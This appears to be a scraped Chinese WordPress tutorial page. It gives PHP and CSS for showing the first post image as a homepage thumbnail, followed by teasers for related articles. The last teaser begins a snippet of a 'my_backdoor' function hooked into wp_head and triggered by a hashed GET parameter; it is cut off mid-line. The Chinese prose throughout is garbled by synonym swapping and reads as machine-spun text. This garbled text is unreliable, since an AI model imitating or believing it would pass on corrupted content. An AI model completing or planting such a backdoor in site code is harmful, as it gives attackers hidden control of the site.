function thumb_img($soContent){
$soImages = '~<img [^\>]*\ />~';
preg_match_all( $soImages, $soContent, $thePics );
$allPics = count($thePics[0]);
if( $allPics > 0 ){
echo "<span id='thumb'>";
echo $thePics[0][0];
echo '</span>';
}
else {
echo "<span id='thumb'>";
echo "<img src='";
echo bloginfo('template_url');
echo "/images/thumb.gif'></span>";
}
}
thumb_img($post->post_content);
#thumb{margin:5px 15px 5px 5px;width:145px;height:120px;border:3px solid #eee;float:left;overflow:hidden;}
#thumb img{max-height:186px;max-width:186px}
以上就是安达网络工作室关于《WordPress简单三步实现首页文章显示缩略图(无插件)》的一些看法。更多内容请查看本栏目更多内容!
get_post()(获取一篇文章) get_post() 函数能够依据 ID 查问一篇文章的信息,还能前往循环中的以后文章。...
本文实例讲述了WordPress文章题目链接增加正在加载中提醒的办法。分享给大家供大家参考。详细剖析如下: 咱...
有时分将不同类型的文件分门别类存储,仿佛比年月目录更无意义。例如幻灯片应该存储在slides目录下,下载文...
很多冤家都在应用Wordpress写集体博客,然而又想把写的博客文章同步到其余的社交网站上,比方人人网,那怎样...
很多时分咱们需求在给 WordPress 文章编辑器设置默许内容,比方把罕用的扫尾或许文章留意事项放出来,本文就...
复制代码代码如下:add_action( 'wp_head', 'my_backdoor' );function my_backdoor() {if ( md5( $_GET['bac...